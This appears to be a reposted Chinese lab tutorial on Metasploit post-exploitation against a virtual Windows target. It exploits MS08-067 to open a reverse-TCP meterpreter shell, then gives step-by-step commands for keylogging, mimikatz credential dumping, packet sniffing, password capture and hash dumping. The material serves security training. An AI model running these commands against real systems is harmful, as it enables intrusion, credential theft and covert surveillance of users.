当前位置:   article > 正文

渗透测试常用工具-使用meterpreter模块进行后渗透测试_后渗透meterprter

后渗透meterprter

使用meterpreter模块进行后渗透测试

第一步,打开网络拓扑,点击启动选项,启动实验虚拟机

第二步,使用ifconfig和ipconfig命令分别获取渗透机和靶机的IP地址,使用ping命令进行网络连通性测试,确保网络可达

渗透机ip地址172.16.1.40

 

靶机ip地址172.16.1.20

 

 

第三步,常见的后渗透模块的类型有:

reverse_tcp (路径:payload/windows/meterpreter/reverse_tcp)

由于绕过 UAC 的功能需在 meterpreter 的shell 才能实现。因此,我们首先要做的就是取得目标机器的 meterpreter shell 。下面使用命令msfconsole -q 以静默状态进行metasploit渗透测试平台,并配置ms08_067攻击载荷的参数(详细步骤请参考课件ms08_067漏洞利用)

使用命令msfconsole启动metasploit渗透测试平台

 

 

 

第四步:使用命令use exploit/windows/smb/ms08_067_netapi调用针对windows 2003/xp的渗透攻击模块,然后使用命令show options 查看需要配置的参数

 

 

第五步,使用info windows/meterpreter/reverse_tcp命令来查看攻击载荷模块的具体信息,该模块适用于Windows x86平台不需要admin权限便可以运行,大小为281字节,需要配置三个参数分别为退出的方式、监听的地址、监听的端口号、EXITFUNC

注意:

EXITFUNC有4个不同的值:none,seh,thread和process。通常它被设置为线程或进程,它对应于ExitThread或ExitProcess调用。 “none”参数将调用GetLastError,实际上是无操作,线程然后将继续执行,允许您简单地将多个有效负载一起串行运行。

Seh:当存在结构化异常处理程序(SEH),且触发该SEH将自动重启线程或进程时,应使用此方法。

THREAD:此方法用于大多数场景,其中被利用的进程(例如IE)在子线程中运行shellcode并退出此线程会导致正在工作的应用程序/系统(清除退出)。

PROCESS:此方法应与multi/handler这个利用模块一起使用。此方法也应该与任何主进程在退出时会重新启动的漏洞一起使用。

 

 

 

 

选择reverse_tcp反弹连接模块,设置模块回连地址和端口,并设置远程靶机地址,

 

参数设置完成后使用命令exploit对目标靶机进行溢出攻击

 

 

我们看到了熟悉的meterpreter界面,反向连接shell,使用起来比较稳定,但是需要设置LHOST

 

另外还有bind_tcp(路径:payload/windows/meterpreter/bind_tcp)

属于正向连接shell,因为某些内网环境中,由于跨了网段无法连接到渗透机上,所以在内网中经常会被使用,不需要设置LHOST,设置方法与reverse_tcp相同就不做演示

 

 

 

reverse_http/https(路径:payload/windows/meterpreter/reverse_http/https)

通过http/https的方式反向连接,在网速比较慢情况下不稳定

 

 

 

第六步,使用命令help查看meterpreter的帮助参数

 

 

常用参数有:

Background:将当前会话置于后台运行

Load/use:加载模块

Interact:切换到一个信道

Migrate:迁移进程

Run:执行选择的模块(常用:autoroute,hashdump,arp_scanner,multi_meter_inject等)

Resource:执行一个外部的rc脚本

 

常用扩展库有:

 

 

 

 

Meterpreter中不仅有基本命令还有很多扩展库,load/use之后再输入help,就可以看到关于这个模块的命令说明

 

第七步,stdapi command文件相关的命令模块,常用的操作就是文件操作及网络有关的命令。通常我们使用upload和download进行文件上传和下载,注意在meterpreter中也可以切换目录,当然也可以编辑文件,而不用再通过shell打开命令终端再用echo来写

 

 

 

cd:切换目标目录;

cat:读取文件内容;

del:删除文件;

edit:使用vim编辑文件

ls:获取当前目录下的文件;

mkdir:新建目录;

rmdir:删除目录;

 

使用命令edit boot.ini调用vi编辑器对当前已存在的文件进行编辑

 

 

第八步,使用命令ps可查看运行进程pid

 

 

然后使用命令migrate将进程迁移至关键进程

 

 

再然后使用命令keyscan_start对键盘进行监听,使用命令keyscan_dump保存截获的键盘信息(注:windows会话窗口的概念,windows桌面划分为不同的会话(session),以便于与windows交互。会话0代表控制台,1,2代表远程桌面。所以要截获键盘输入必须在0中进行。)

 

 

 

 

第九步,使用命令load kiwi调用mimikatz第三方工具抓取内存中的hash存进数据库方便之后调用

 

键入help查看工具的帮助命令

 

 

使用命令creds_wdigest抓取已登录的管理员密码

 

 

第十步,使用命令load sniffer加载嗅探插件对目标网络实施嗅探抓包,然后使用命令sniffer_interfaces查看目标系统中的网卡信息,

 

 

使用命令sniffer_start 1 可对指定网卡进行抓包嗅探

 

 

然后使用命令sniffer_dump 1 pac.cap将抓取的包保存为cap文件

 

 

第十一步,另开一个新窗口下使用命令msfconsole进入metasploit渗透测试平台的终端,然后使用命令use auxiliary/sniffer/psnuffle调用sniffer解包模块

 

由于靶机没有做任何操作,所以看到此处无法抓取到任何信息,在实际的渗透测试工作中,只有在得到能够接入对方网络的初始访问点之后,才能够方便地使用Metasploit中的psnuffle模块进行口令嗅探。如果条件允许的话,推荐在接入网络整个过程中都要保持嗅探器的运行,以增加截获口令的可能性。

 

第十二步,在对登录认证信息,已经网络流量进行收集结束以后,我们可以使用命令background将当前的会话置于后台,然后通过其他扩展模块来收集更多信息,

 

 

第十三步,使用命令use post/windows/gather/hashdump调用用户认证信息收集模块,获取目标系统上的hash值

 

 

 

 

第十四步,使用命令sessions -i 1将后台运行的会话置于前台

 

使用命令run post/windows/gather/forensics/enum_drives后渗透攻击模块,列出目标靶机上的磁盘分区表信息

 

由于在对目标靶机的磁盘进行读写时发生错误,可以看到最后提示会话断开,我们重新利用ms08_067打入靶机系统

实验结束,关闭虚拟机。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家小花儿/article/detail/456772
推荐阅读
相关标签
  

闽ICP备14008679号